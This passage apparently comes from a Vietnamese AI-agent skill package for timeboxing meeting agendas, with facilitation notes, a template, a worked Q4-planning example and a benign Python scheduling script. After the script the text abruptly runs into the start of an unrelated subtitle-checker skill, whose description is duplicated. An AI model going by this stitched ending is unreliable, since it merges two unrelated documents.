1. Bắt đầu bằng phần định hướng ngắn gọn: mục đích và các kết quả đầu ra mong muốn (2 đến 5 phút).
2. Xếp các quyết định và những chủ đề khó nhất vào nửa đầu cuộc họp, khi năng lượng và sĩ số tham dự đang ở mức cao nhất.
3. Đặt các phần thảo luận và đánh giá ở khoảng giữa.
4. Đẩy các phần thông báo và cập nhật xuống cuối cùng hoặc đưa hẳn ra ngoài cuộc họp.
5. Kết thúc bằng các bước tiếp theo, người phụ trách và thời hạn hoàn thành (5 phút), không bao giờ kết thúc bằng mục AOB (Các vấn đề khác).
Hãy gom nhóm các mục cần sự có mặt của cùng một nhóm người lại với nhau để những người khác có thể rời cuộc họp sớm.
## Thời gian dự phòng và nghỉ giải lao
- Thời gian dự phòng (Buffer): khoảng 5 phút cho mỗi giờ họp, 10 phần trăm đối với hội thảo (workshop). Thời gian dự phòng nằm bên trong khung giờ họp, không phải là thời gian cộng thêm bên ngoài.
- Nghỉ giải lao (Breaks): 5 đến 10 phút sau mỗi 60 đến 90 phút; 15 phút đối với các buổi workshop dài hơn. Họp trực tuyến cần nghỉ giải lao sớm hơn họp trực tiếp.
- Lịch họp nối tiếp liên tục (Back-to-back): kết thúc sớm 5 phút (họp 25 hoặc 50 phút).
## Kiểm tra độ phù hợp (Fit checks)
- Nhiều hơn khoảng 8 mục trong một giờ đồng nghĩa với việc mỗi mục chỉ có chưa đầy 7 phút; hãy gộp lại hoặc cắt bớt.
- Cập nhật tiến độ và thông báo chiếm quá một phần ba tổng thời gian: hãy chuyển chúng thành tài liệu đọc trước.
- Một mục kéo dài trên 45 phút: hãy tách thành các bước nhỏ với kết quả đầu ra riêng biệt (ví dụ: "động não tìm ý tưởng 25 phút" rồi đến "nhóm ý tưởng và chọn lọc 20 phút").
## Chi phí của một cuộc họp
Giờ công (Person-hours) = số người tham dự x thời lượng tính bằng giờ. Một cuộc họp dài một giờ với 9 người tham dự tiêu tốn 9 giờ làm việc. Hãy tự hỏi liệu tất cả mọi người có thực sự cần có mặt trong tất cả các mục hay không.
FILE:references/facilitation-moves.md
# Các kỹ thuật điều phối giúp giữ vững khung thời gian
## Trước cuộc họp
- Gửi chương trình họp và tài liệu đọc trước từ 24 đến 48 giờ, ghi rõ người phụ trách của từng mục.
- Đối với mỗi mục cần ra quyết định, hãy gửi trước bản đề xuất dài một trang: câu hỏi cần giải quyết, các phương án, phương án khuyến nghị và người có quyền chốt.
- Yêu cầu mọi người ghi sẵn câu hỏi vào tài liệu đọc trước để cuộc họp bắt đầu ngay từ việc giải đáp câu hỏi chứ không phải ngồi nghe thuyết trình lại.
## Khi bắt đầu cuộc họp
- Nêu rõ mục đích và các kết quả cần đạt được khi kết thúc cuộc họp.
- Chỉ định một người canh giờ (timekeeper) và thống nhất tín hiệu báo giờ (nhắn vào khung chat, hoặc giơ tay khi còn 2 phút).
- Nêu rõ cách thức ra quyết định trong buổi họp hôm nay: người phụ trách tự quyết định sau khi lắng nghe ý kiến, biểu quyết theo đa số, hay đồng thuận ("có ai phản đối gay gắt không?").
## Theo từng loại mục
- Inform (Thông báo): "Trình bày hai phút, sau đó mỗi người một câu hỏi làm rõ." Các câu hỏi chi tiết sẽ được đưa vào danh sách tồn đọng (parking lot) hoặc trao đổi riêng sau cuộc họp.
- Update (Cập nhật): Chỉ nêu trực tiếp các vướng mắc (blockers) và đề xuất cần hỗ trợ; mọi thông tin khác đã nằm trong tài liệu đọc trước.
- Discuss (Thảo luận): Đóng khung câu hỏi trước ("Điều gì khiến chúng ta lo ngại về phương án B?"). Sử dụng vòng phát biểu nhanh để mọi người đều được nói một lần trước khi có ai đó nói lần thứ hai.
- Brainstorm (Động não): Dành 3 đến 5 phút tự viết ý tưởng trong im lặng trước, sau đó mới chia sẻ và gom nhóm. Ưu tiên số lượng trước khi đánh giá chất lượng.
- Review (Đánh giá): Thống nhất loại phản hồi cần thu thập: các vấn đề gây tắc nghẽn (blocking issues), câu hỏi thắc mắc, hay góp ý chau chuốt câu chữ. Thu thập các vấn đề gây tắc nghẽn trước tiên.
- Decide (Quyết định): Nhắc lại đề xuất, liệt kê các mối quan ngại, kiểm tra xem có ý kiến phản đối nào không, sau đó chốt quyết định và đọc to rõ ràng: "Chúng ta đã quyết định X; người phụ trách là Y; hoàn thành trước ngày Z."
## Khi một mục bị lố giờ
Làm cho sự lựa chọn trở nên minh bạch thay vì âm thầm lấn sang thời gian của mục tiếp theo:
1. "Chúng ta còn 2 phút cho mục này. Chúng ta muốn kéo dài thêm 5 phút và cắt bớt một mục khác, hay đưa nó vào danh sách chờ (parking lot)?"
2. Đưa vào danh sách chờ: ghi mục đó vào parking lot kèm theo người phụ trách và thời hạn xử lý.
3. Thu gọn mục tiếp theo, nhưng tuyệt đối không cắt xén thời gian của các mục ra quyết định.
4. Nếu mục tiêu chính của cuộc họp có nguy cơ không đạt được, hãy lên lịch một buổi họp ngắn tiếp theo chỉ với những người thực sự liên quan.
## Họp từ xa và họp kết hợp (Remote and hybrid)
- Mọi người đều tham gia bằng thiết bị cá nhân của mình để những người họp từ xa có vị thế bình đẳng.
- Sử dụng khung chat để xếp hàng đăng ký phát biểu và thực hiện các cuộc thăm dò ý kiến nhanh.
- Chia sẻ chương trình họp trên màn hình và tô sáng mục đang được thảo luận.
## Khi kết thúc cuộc họp
- Đọc lại các quyết định đã chốt, người phụ trách và thời hạn hoàn thành (5 phút).
- Rà soát danh sách tồn đọng (parking lot): phân công người xử lý cho từng mục hoặc loại bỏ nếu không cần thiết.
- Gửi biên bản cuộc họp trong vòng 24 giờ.
FILE:templates/agenda.md
# Đầu vào chương trình họp (dành cho scripts/timebox_agenda.py)
```
Meeting: <name>
Start: <HH:MM>
Length: <minutes> # or End: <HH:MM>
Buffer: <minutes or percent, e.g. 5 or 10%>
Attendees: <number>
<minutes> | <topic> | <owner> | <inform | update | discuss | brainstorm | review | decide | break>
? | <topic with unknown duration> | <owner> | <outcome>
```
Một bảng Markdown với các cột Min, Topic, Owner, Outcome cũng hoạt động tương tự, và định dạng JSON cũng vậy:
`{"meeting": "...", "start": "14:00", "length": 60, "buffer": 5, "attendees": 6, "items": [{"minutes": 10, "topic": "...", "owner": "...", "outcome": "decide"}]}`
---
# Mẫu chương trình họp để gửi đi
**<Tên cuộc họp>**
<Thứ, ngày>, <bắt đầu>-<kết thúc> (<thời lượng> phút), <địa điểm hoặc liên kết video>
Người tham dự: <tên hoặc nhóm> | Điều phối viên: <tên> | Người canh giờ: <tên> | Thư ký ghi chép: <tên>
**Mục đích:** <một câu duy nhất: điều gì phải hoàn thành khi chúng ta kết thúc cuộc họp>
**Kết quả cần đạt được**
1. <quyết định hoặc kết quả>
2. <quyết định hoặc kết quả>
**Tài liệu đọc trước (trước <ngày, giờ>)**
- <tài liệu> - <người phụ trách> - <nội dung cần xem, thời gian đọc dự kiến>
**Lịch trình chi tiết**
| Thời gian | Phút | Hạng mục | Người phụ trách | Kết quả đầu ra |
|---|---|---|---|---|
| <HH:MM-HH:MM> | <n> | <chủ đề> | <người phụ trách> | <kết quả> |
| <HH:MM-HH:MM> | <n> | Dự phòng và tổng kết: các quyết định, người phụ trách, thời hạn | <điều phối viên> | |
**Cách thức ra quyết định hôm nay:** <người phụ trách quyết định sau khi nghe ý kiến | đồng thuận | biểu quyết>
**Danh sách tồn đọng (Parking lot):** Các ý kiến ngoài lề sẽ được đưa vào danh sách tồn đọng và phân công người phụ trách vào cuối buổi.
**Các nội dung đã chuyển ra ngoài cuộc họp này**
- <hạng mục> -> <cập nhật không đồng bộ, cuộc họp khác, hoặc tài liệu>, người phụ trách <tên>
FILE:examples/example-roadmap-meeting.md
# Ví dụ: chỉnh sửa một cuộc họp lập kế hoạch kéo dài một giờ bị quá tải
## Yêu cầu từ người dùng
"Tôi có cuộc họp một giờ với 9 người vào thứ Năm lúc 14:00 để lập kế hoạch Quý 4 (Q4). Đây là chương trình họp của tôi. Liệu có kịp giờ không? Việc phân bổ ngân sách bắt buộc phải được phê duyệt trong cuộc họp này, và cả 3 sáng kiến ưu tiên hàng đầu nữa."
Bản nháp chương trình họp (`agenda.txt`):
```
Meeting: Q4 roadmap planning
Start: 14:00
Length: 60
Buffer: 5
Attendees: 9
10 | Welcome and goals | Dana | inform
15 | Team status round (each team lead) | Leads | update
10 | Customer feedback highlights | Priya | inform
20 | Q4 priorities: pick top 3 initiatives | Lee | discuss
10 | Hiring plan for Q4 | | discuss
5 | Approve Q4 budget split | Dana | decide
? | AOB | |
```
## Lần chạy đầu tiên
```
$ python3 scripts/timebox_agenda.py agenda.txt
Q4 roadmap planning: 14:00-15:00 (60 min, buffer 5 min, 55 min for items)
Planned: 70 min
14:00-14:10 10 min Welcome and goals (Dana) [inform]
14:10-14:25 15 min Team status round (each team lead) (Leads) [update]
14:25-14:35 10 min Customer feedback highlights (Priya) [inform]
14:35-14:55 20 min Q4 priorities: pick top 3 initiatives (Lee) [discuss]
14:55-15:05 10 min Hiring plan for Q4 [discuss]
15:05-15:10 5 min Approve Q4 budget split (Dana) [decide]
15:10-15:10 ? min AOB [?]
14:55-15:00 5 min Buffer / wrap-up
Findings:
- [HIGH] Agenda needs 70 min but only 55 min are available after the 5-min buffer: overrun of 15 min (ends 15:10 instead of 14:55). Cut, shorten, or move items, or run with --fit.
- [WARN] 1 item(s) without a duration: AOB. Remaining time for them: 0 min.
- [WARN] "Hiring plan for Q4" has no owner; name who prepares and leads it.
- [WARN] "Approve Q4 budget split" is a decision with only 5 min; plan at least 10, or decide by a written proposal beforehand.
- [WARN] "Approve Q4 budget split" is a decision starting at 15:05, in the last quarter of the meeting; move it earlier while energy and attendance are high.
- [WARN] "AOB" has no owner; name who prepares and leads it.
- [WARN] "AOB" has no outcome; say whether it is to inform, discuss, decide, or brainstorm.
- [WARN] Status updates and announcements take 50% of the time; send them as a pre-read and keep the meeting for discussion and decisions.
- [INFO] Meeting cost: 9 people x 60 min = 9 person-hours.
```
Mã thoát (Exit code) 1: chương trình họp không vừa với khung giờ.
## Những con số nói lên điều gì
- 70 phút cho các hạng mục (cộng thêm mục AOB) trong một khung thời gian khả dụng chỉ 55 phút: đã bị lố 15 phút ngay cả trước khi bắt đầu mục AOB.
- Một nửa thời gian bị tiêu tốn vào việc cập nhật và thông báo, trong khi hai vấn đề bắt buộc phải chốt quyết định lại chỉ được dành cho 5 phút (ngân sách) và bị gắn nhãn "discuss" (các ưu tiên), hơn nữa quyết định về ngân sách lại bắt đầu lúc 15:05, tức là sau khi cuộc họp lẽ ra đã phải kết thúc.
- Nếu chỉ chạy tùy chọn `--fit` đơn thuần thì mọi thứ sẽ bị ép vào 55 phút nhưng quyết định ngân sách vẫn nằm ở cuối cùng với vẻn vẹn 5 phút. Việc ép các con số cho vừa vặn là chưa đủ; thứ tự và mục đích của từng hạng mục phải được thay đổi.
## Các thay đổi cần thực hiện
1. Vòng báo cáo tiến độ của các nhóm (15 phút) và điểm nhấn phản hồi khách hàng (10 phút) được chuyển thành tài liệu đọc trước bằng văn bản, hạn chót vào 12:00 trưa thứ Tư; các câu hỏi sẽ được để lại trong phần bình luận.
2. Phần phân bổ ngân sách được đẩy lên đầu cuộc họp với thời lượng 10 phút kèm bản đề xuất gửi từ thứ Hai, nhờ đó cuộc họp chỉ cần xác nhận hoặc điều chỉnh nhẹ.
3. Mục "Các ưu tiên Quý 4" được chuyển thành mục ra quyết định (`decide`) với 25 phút: kết quả đầu ra là danh sách 3 sáng kiến hàng đầu đã được xếp hạng.
4. Kế hoạch tuyển dụng có người phụ trách rõ ràng (Priya) và thu hẹp câu hỏi thảo luận: thống nhất mở tuyển những vị trí nào.
5. Mục AOB được thay thế bằng 5 phút tổng kết "các bước tiếp theo, người phụ trách và danh sách tồn đọng".
6. Ba người vốn chỉ cần tham gia vòng báo cáo tiến độ có thể không cần dự họp: rút gọn còn 6 người tham dự thay vì 9 người.
Chương trình họp sau khi chỉnh sửa:
```
Meeting: Q4 roadmap planning
Start: 14:00
Length: 60
Buffer: 5
Attendees: 6
5 | Welcome and goals for today | Dana | inform
10 | Approve Q4 budget split (proposal sent Monday) | Dana | decide
25 | Q4 priorities: pick top 3 initiatives | Lee | decide
10 | Hiring plan for Q4: agree which roles to open | Priya | discuss
5 | Next steps, owners, and parking lot | Dana | inform
```
## Lần chạy thứ hai
```
$ python3 scripts/timebox_agenda.py agenda-revised.txt
Q4 roadmap planning: 14:00-15:00 (60 min, buffer 5 min, 55 min for items)
Planned: 55 min
14:00-14:05 5 min Welcome and goals for today (Dana) [inform]
14:05-14:15 10 min Approve Q4 budget split (proposal sent Monday) (Dana) [decide]
14:15-14:40 25 min Q4 priorities: pick top 3 initiatives (Lee) [decide]
14:40-14:50 10 min Hiring plan for Q4: agree which roles to open (Priya) [discuss]
14:50-14:55 5 min Next steps, owners, and parking lot (Dana) [inform]
14:55-15:00 5 min Buffer / wrap-up
Findings:
- [INFO] Meeting cost: 6 people x 60 min = 6 person-hours.
```
Mã thoát 0, không có cảnh báo nào, và chi phí cuộc họp giảm xuống còn 6 giờ công thay vì 9 giờ công.
## Bản chương trình họp gửi đi (đã điền theo mẫu, rút gọn)
**Lập kế hoạch lộ trình Quý 4 (Q4 roadmap planning)**
Thứ Năm, 14:00-15:00 (60 phút), Phòng 3 và liên kết video
Điều phối viên: Dana | Người canh giờ: Lee | Thư ký ghi chép: Priya
**Mục đích:** Kết thúc cuộc họp với phương án phân bổ ngân sách Quý 4 được phê duyệt và danh sách 3 sáng kiến ưu tiên hàng đầu đã xếp hạng.
**Tài liệu đọc trước (trước 12:00 trưa thứ Tư)**
- Bản tóm tắt tiến độ 1 trang của các nhóm - từng trưởng nhóm - 5 phút đọc
- Điểm nhấn phản hồi từ khách hàng - Priya - 5 phút đọc
- Đề xuất phân bổ ngân sách - Dana - 10 phút đọc
**Lịch trình chi tiết**
| Thời gian | Phút | Hạng mục | Người phụ trách | Kết quả đầu ra |
|---|---|---|---|---|
| 14:00-14:05 | 5 | Chào mừng và nêu mục tiêu hôm nay | Dana | inform |
| 14:05-14:15 | 10 | Phê duyệt phân bổ ngân sách Quý 4 (đề xuất đã gửi thứ Hai) | Dana | decide |
| 14:15-14:40 | 25 | Ưu tiên Quý 4: chọn ra 3 sáng kiến hàng đầu | Lee | decide |
| 14:40-14:50 | 10 | Kế hoạch tuyển dụng Quý 4: thống nhất mở những vị trí nào | Priya | discuss |
| 14:50-14:55 | 5 | Các bước tiếp theo, người phụ trách và danh sách tồn đọng | Dana | inform |
| 14:55-15:00 | 5 | Thời gian dự phòng (Buffer) | | |
**Cách thức ra quyết định hôm nay:** Dana quyết định ngân sách sau khi lắng nghe ý kiến; 3 sáng kiến hàng đầu được chọn theo nguyên tắc đồng thuận (có ai phản đối gay gắt không?).
**Mẹo điều phối**
- Các ưu tiên: dành 3 phút bỏ phiếu chấm điểm (dot voting) trong im lặng trên danh sách ứng viên, sau đó chỉ thảo luận về các mục xếp hạng từ thứ 2 đến thứ 5.
- Nếu mục ngân sách chạm mốc 10 phút, hãy đưa điểm còn bỏ ngỏ vào danh sách chờ kèm người phụ trách và hạn chót 24 giờ thay vì lấn sang thời gian của phần chọn ưu tiên.
**Đã chuyển ra ngoài cuộc họp này:** vòng báo cáo tiến độ các nhóm và phản hồi khách hàng (chuyển thành tài liệu đọc trước).
## Vì sao đây là một phương án xử lý tốt
- Nó sửa tận gốc mục đích và thứ tự ưu tiên, chứ không chỉ cắt gọt số phút.
- Cả hai quyết định bắt buộc đều diễn ra trong 40 phút đầu tiên, với các bản đề xuất đã được chuẩn bị trước.
- Kịch bản kiểm tra xác nhận lịch trình vừa khít khung giờ, và những người vốn chỉ tham gia để báo cáo tiến độ tiết kiệm được trọn vẹn một giờ làm việc.
FILE:scripts/timebox_agenda.py
#!/usr/bin/env python3
"""Timebox a meeting agenda: schedule every item, check the fit, and flag agenda smells.
Usage:
python3 timebox_agenda.py agenda.txt
python3 timebox_agenda.py agenda.txt --fit # scale items to fit the slot (5-minute steps)
python3 timebox_agenda.py agenda.json --json
cat agenda.txt | python3 timebox_agenda.py -
Text input: optional "Key: value" header lines, then one item per line as
minutes | topic | owner | outcome
Markdown table rows (| 10 | Topic | Owner | decide |) also work; header and
separator rows are skipped. Use ? for an unknown duration.
Header keys: Meeting, Start (HH:MM), Length (minutes) or End (HH:MM),
Buffer (minutes or percent, e.g. 5 or 10%), Attendees (number).
Outcomes: inform, update, discuss, brainstorm, review, decide, break.
JSON input: {"meeting": "...", "start": "14:00", "length": 60, "buffer": 5,
"attendees": 8, "items": [{"minutes": 10, "topic": "...", "owner": "...", "outcome": "decide"}]}
--fit trims status items (and items with no outcome) first, then scales everything; spare time goes to
decide and discuss items.
Checks: overrun (HIGH), missing durations, owners, or outcomes, late or rushed
decisions, oversized items, long stretches without a break, too many status
updates, too many items per hour, plus the meeting's cost in person-hours.
Exit code: 0 no HIGH findings, 1 HIGH found, 2 usage or input error.
Standard library only.
"""
import argparse
import json
import math
import re
import sys
OUTCOMES = {"inform", "update", "discuss", "brainstorm", "review", "decide", "break"}
ALIASES = {"decision": "decide", "info": "inform", "fyi": "inform", "status": "update", "updates": "update",
"discussion": "discuss", "ideas": "brainstorm", "ideation": "brainstorm", "feedback": "review",
"approve": "decide", "approval": "decide", "pause": "break", "coffee": "break"}
class InputError(Exception):
pass
def hhmm(text):
m = re.fullmatch(r"\s*(\d{1,2})[:.](\d{2})\s*", str(text))
if not m or int(m.group(1)) > 23 or int(m.group(2)) > 59:
raise InputError(f"time must be HH:MM, got {text!r}")
return int(m.group(1)) * 60 + int(m.group(2))
def fmt(minutes):
minutes = int(round(minutes)) % (24 * 60)
return f"{minutes // 60:02d}:{minutes % 60:02d}"
def parse_minutes(text):
t = str(text).strip().lower()
if t in ("", "?", "tbd", "-"):
return None
m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*(m|min|mins|minutes?)?", t)
if m:
return float(m.group(1))
m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*h(?:ours?)?(?:\s*(\d+)\s*m(?:in)?)?", t)
if m:
return float(m.group(1)) * 60 + float(m.group(2) or 0)
raise InputError(f"cannot read duration {text!r}")
def norm_outcome(text):
t = (text or "").strip().lower()
return ALIASES.get(t, t)
def parse_text(text):
meta, items, errors = {}, [], []
for no, raw in enumerate(text.replace("\r\n", "\n").split("\n"), 1):
line = raw.strip()
if not line or line.startswith("#"):
continue
hm = re.fullmatch(r"([A-Za-z ]{3,20}):\s*(.+)", line)
if hm and "|" not in line:
meta[hm.group(1).strip().lower()] = hm.group(2).strip()
continue
if "|" not in line:
errors.append(f"line {no}: expected 'minutes | topic | owner | outcome', got {line[:60]!r}")
continue
cells = [c.strip() for c in line.strip("|").split("|")]
if all(re.fullmatch(r":?-{2,}:?", c) for c in cells if c):
continue
if cells and cells[0].lower() in ("min", "mins", "minutes", "time", "duration"):
continue
cells += [""] * (4 - len(cells))
try:
minutes = parse_minutes(cells[0])
except InputError as e:
errors.append(f"line {no}: {e}")
continue
if not cells[1]:
errors.append(f"line {no}: item has no topic")
continue
items.append({"line": no, "minutes": minutes, "topic": cells[1], "owner": cells[2],
"outcome": norm_outcome(cells[3])})
return meta, items, errors
def parse_json(text):
data = json.loads(text)
if not isinstance(data, dict) or not isinstance(data.get("items"), list):
raise InputError("JSON input needs an object with an 'items' list")
meta = {k.lower(): str(v) for k, v in data.items() if k != "items" and v is not None}
items, errors = [], []
for i, it in enumerate(data["items"], 1):
try:
minutes = parse_minutes(it.get("minutes", ""))
except InputError as e:
errors.append(f"item {i}: {e}")
continue
if not str(it.get("topic", "")).strip():
errors.append(f"item {i}: item has no topic")
continue
items.append({"line": i, "minutes": minutes, "topic": str(it["topic"]).strip(),
"owner": str(it.get("owner", "") or "").strip(), "outcome": norm_outcome(it.get("outcome", ""))})
return meta, items, errors
def settings(meta):
start = hhmm(meta.get("start", "09:00"))
if "length" in meta:
length = parse_minutes(meta["length"])
if not length or length <= 0:
raise InputError("Length must be a positive number of minutes")
elif "end" in meta:
length = (hhmm(meta["end"]) - start) % (24 * 60)
if length == 0:
raise InputError("End must be after Start")
else:
raise InputError("header needs 'Length: <minutes>' or 'End: HH:MM'")
b = meta.get("buffer", "0").strip()
if b.endswith("%"):
buffer = 5 * round(length * float(b[:-1]) / 100 / 5) # percent buffers round to 5 minutes
else:
buffer = parse_minutes(b) or 0
if buffer >= length:
raise InputError("Buffer must be shorter than the meeting")
attendees = int(meta["attendees"]) if str(meta.get("attendees", "")).strip().isdigit() else None
return {"meeting": meta.get("meeting", meta.get("title", "Meeting")), "start": start, "length": length,
"buffer": buffer, "available": length - buffer, "attendees": attendees}
def fit(items, available):
"""Fit items into `available` minutes in 5-minute steps (missing durations count as 10, breaks kept).
When the agenda is too long, status items (inform, update, or no outcome) are trimmed first, down to half
their planned time; then every item is scaled proportionally. When it is too short, the
spare time goes to decide and discuss items first.
"""
fixed = sum(it["minutes"] or 0 for it in items if it["outcome"] == "break")
flex = [it for it in items if it["outcome"] != "break"]
room = available - fixed
if not flex or room < 5 * len(flex):
raise InputError(f"cannot fit {len(flex)} items into {room:g} minutes with at least 5 minutes each")
want = [max(5, 5 * round((it["minutes"] or 10) / 5)) for it in flex]
cur = list(want)
status = [i for i, it in enumerate(flex) if it["outcome"] in ("inform", "update", "")]
while sum(cur) > room:
cands = [i for i in status if cur[i] - 5 >= max(5, want[i] / 2)]
if not cands:
break
cur[max(cands, key=lambda k: cur[k])] -= 5
if sum(cur) > room:
scale = room / sum(cur)
ref = [c * scale for c in cur]
cur = [max(5, 5 * round(r / 5)) for r in ref]
while sum(cur) > room:
cands = [k for k in range(len(cur)) if cur[k] > 5]
cur[max(cands, key=lambda k: (cur[k] - ref[k], cur[k]))] -= 5
while sum(cur) + 5 <= room:
cur[min(range(len(cur)), key=lambda k: cur[k] - ref[k])] += 5
else:
prio = [i for i, it in enumerate(flex) if it["outcome"] in ("decide", "discuss")] or list(range(len(flex)))
while sum(cur) + 5 <= room:
cur[min(prio, key=lambda k: cur[k] / want[k])] += 5
out, it_new = [], iter(cur)
for it in items:
copy = dict(it)
copy["original"] = it["minutes"]
if it["outcome"] != "break":
copy["minutes"] = float(next(it_new))
out.append(copy)
return out
def analyze(items, cfg):
findings = []
def add(sev, msg):
findings.append({"severity": sev, "message": msg})
t = cfg["start"]
for it in items:
it["start"] = t
t += it["minutes"] or 0
it["end"] = t
planned = sum(it["minutes"] or 0 for it in items)
avail, end_slot = cfg["available"], cfg["start"] + cfg["length"]
unknown = [it for it in items if it["minutes"] is None]
if planned > avail:
add("HIGH", f"Agenda needs {planned:g} min but only {avail:g} min are available"
f"{' after the ' + format(cfg['buffer'], 'g') + '-min buffer' if cfg['buffer'] else ''}: overrun of {planned - avail:g} min"
f" (ends {fmt(cfg['start'] + planned)} instead of {fmt(end_slot - cfg['buffer'])}). Cut, shorten, or move items, or run with --fit.")
elif avail - planned > 0.15 * avail and not unknown:
add("INFO", f"{avail - planned:g} min unplanned; end early or give the main decision more time.")
if unknown:
add("WARN", f"{len(unknown)} item(s) without a duration: " + "; ".join(it["topic"][:40] for it in unknown)
+ f". Remaining time for them: {max(avail - planned, 0):g} min.")
for it in items:
name = f"\"{it['topic'][:50]}\""
if it["outcome"] != "break" and not it["owner"]:
add("WARN", f"{name} has no owner; name who prepares and leads it.")
if not it["outcome"]:
add("WARN", f"{name} has no outcome; say whether it is to inform, discuss, decide, or brainstorm.")
elif it["outcome"] not in OUTCOMES:
add("WARN", f"{name} has unknown outcome '{it['outcome']}' (use: {', '.join(sorted(OUTCOMES))}).")
m = it["minutes"] or 0
if it["outcome"] == "decide":
if it["minutes"] is not None and m < 10:
add("WARN", f"{name} is a decision with only {m:g} min; plan at least 10, or decide by a written proposal beforehand.")
if it["start"] - cfg["start"] >= 0.75 * cfg["length"]:
add("WARN", f"{name} is a decision starting at {fmt(it['start'])}, in the last quarter of the meeting; move it earlier while energy and attendance are high.")
if it["outcome"] in ("discuss", "brainstorm", "review") and it["minutes"] is not None and m < 5:
add("WARN", f"{name} is a {it['outcome']} item with {m:g} min; that is a mention, not a {it['outcome']}.")
if m > 45 and it["outcome"] != "break":
add("WARN", f"{name} is {m:g} min long; split it into parts with their own outcomes.")
stretch, stretch_start = 0, cfg["start"]
for it in items:
if it["outcome"] == "break":
stretch, stretch_start = 0, it["end"]
continue
stretch += it["minutes"] or 0
if stretch > 90:
add("WARN", f"{stretch:g} min without a break from {fmt(stretch_start)}; add a 5 to 10 min break about every 60 to 90 min.")
stretch = -10**9
status = sum(it["minutes"] or 0 for it in items if it["outcome"] in ("inform", "update"))
if planned and status / planned > 0.35:
add("WARN", f"Status updates and announcements take {round(100 * status / planned)}% of the time; send them as a pre-read and keep the meeting for discussion and decisions.")
work_items = [it for it in items if it["outcome"] != "break"]
hours = cfg["length"] / 60
if hours and len(work_items) / hours > 8:
add("WARN", f"{len(work_items)} items in {cfg['length']:g} min is more than 8 per hour; merge or drop items.")
if not any(it["outcome"] == "decide" for it in items):
add("INFO", "No decision items; check that this meeting needs to be live.")
cost = None
if cfg["attendees"]:
cost = round(cfg["attendees"] * cfg["length"] / 60, 1)
add("INFO", f"Meeting cost: {cfg['attendees']} people x {cfg['length']:g} min = {cost:g} person-hours.")
order = {"HIGH": 0, "WARN": 1, "INFO": 2}
findings.sort(key=lambda f: order[f["severity"]])
return {"meeting": cfg["meeting"], "start": fmt(cfg["start"]), "end": fmt(end_slot), "length": cfg["length"],
"buffer": cfg["buffer"], "available": avail, "planned": planned, "person_hours": cost,
"items": [{k: (fmt(v) if k in ("start", "end") else v) for k, v in it.items()} for it in items],
"findings": findings}
def main():
ap = argparse.ArgumentParser(description="Timebox a meeting agenda")
ap.add_argument("path", help="agenda text/Markdown/JSON file, or - for stdin")
ap.add_argument("--fit", action="store_true", help="scale item durations to fit the available time")
ap.add_argument("--json", action="store_true")
args = ap.parse_args()
try:
text = sys.stdin.read() if args.path == "-" else open(args.path, encoding="utf-8").read()
if not text.strip():
raise InputError("input is empty")
meta, items, errors = parse_json(text) if text.lstrip().startswith("{") else parse_text(text)
if errors:
raise InputError("could not read the agenda:\n " + "\n ".join(errors))
if not items:
raise InputError("no agenda items found (expected lines like '10 | Topic | Owner | decide')")
cfg = settings(meta)
before = sum(it["minutes"] or 0 for it in items)
n_unknown = sum(1 for it in items if it["minutes"] is None)
if args.fit:
items = fit(items, cfg["available"])
except FileNotFoundError:
print(f"error: file not found: {args.path}", file=sys.stderr)
return 2
except (InputError, json.JSONDecodeError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
rep = analyze(items, cfg)
rep["fitted_from"] = before if args.fit else None
if args.json:
print(json.dumps(rep, indent=2))
else:
print(f"{rep['meeting']}: {rep['start']}-{rep['end']} ({rep['length']:g} min, buffer {rep['buffer']:g} min, {rep['available']:g} min for items)")
if args.fit:
extra = f" plus {n_unknown} without a duration (counted as 10 min each)" if n_unknown else ""
print(f"Fitted: {before:g} min of items{extra} fitted into {rep['planned']:g} min (5-minute steps, breaks kept).")
print(f"Planned: {rep['planned']:g} min\n")
for it in rep["items"]:
mins = "?" if it["minutes"] is None else f"{it['minutes']:g}"
was = f" (was {it['original']:g})" if args.fit and it.get("original") not in (None, it["minutes"]) else ""
who = f" ({it['owner']})" if it["owner"] else ""
print(f" {it['start']}-{it['end']} {mins:>3} min{was:<10} {it['topic']}{who} [{it['outcome'] or '?'}]")
if rep["buffer"]:
print(f" {fmt(hhmm(rep['end']) - rep['buffer'])}-{rep['end']} {rep['buffer']:>3g} min Buffer / wrap-up")
print()
if rep["findings"]:
print("Findings:")
for f in rep["findings"]:
print(f"- [{f['severity']}] {f['message']}")
else:
print("Findings: none")
return 1 if any(f["severity"] == "HIGH" for f in rep["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Kiểm tra các tệp phụ đề SRT và WebVTT để phát hiện thời gian bị lỗi hoặc chồng lấp, khoảng trống đánh số thứ tự, thẻ phụ đề (cue) trống, tốc độ đọc vượt quá giới hạn ký tự trên giây, dòng quá dài hoặc thừa dòng, phụ đề lướt qua quá nhanh hoặc hiển thị quá lâu, thẻ định dạng không cân xứng và các nhãn âm thanh, sau đó viết lại cũng như căn chỉnh lại thời gian cho các đoạn phụ đề gặp sự cố và có thể dịch chuyển thời gian của toàn bộ tệp. Sử dụng khi người dùng chia sẻ phụ đề và yêu cầu "kiểm tra phụ đề giúp tôi", "tại sao những phụ đề này khó đọc thế?", "sửa lại thời gian hiển thị", hoặc "làm cho các phụ đề này tuân thủ đúng quy chuẩn".
---
name: srt-subtitle-quality-checker
description: Kiểm tra các tệp phụ đề SRT và WebVTT để phát hiện thời gian bị lỗi hoặc chồng lấp, khoảng trống đánh số thứ tự, thẻ phụ đề (cue) trống, tốc độ đọc vượt quá giới hạn ký tự trên giây, dòng quá dài hoặc thừa dòng, phụ đề lướt qua quá nhanh hoặc hiển thị quá lâu, thẻ định dạng không cân xứng và các nhãn âm thanh, sau đó viết lại cũng như căn chỉnh lại thời gian cho các đoạn phụ đề gặp sự cố và có thể dịch chuyển thời gian của toàn bộ tệp. Sử dụng khi người dùng chia sẻ phụ đề và yêu cầu "kiểm tra phụ đề giúp tôi", "tại sao những phụ đề này khó đọc thế?", "sửa lại thời gian hiển thị", hoặc "làm cho các phụ đề này tuân thủ đúng quy chuẩn".
---
# Trình Kiểm tra Chất lượng Phụ đề SRT (SRT Subtitle Quality Checker)
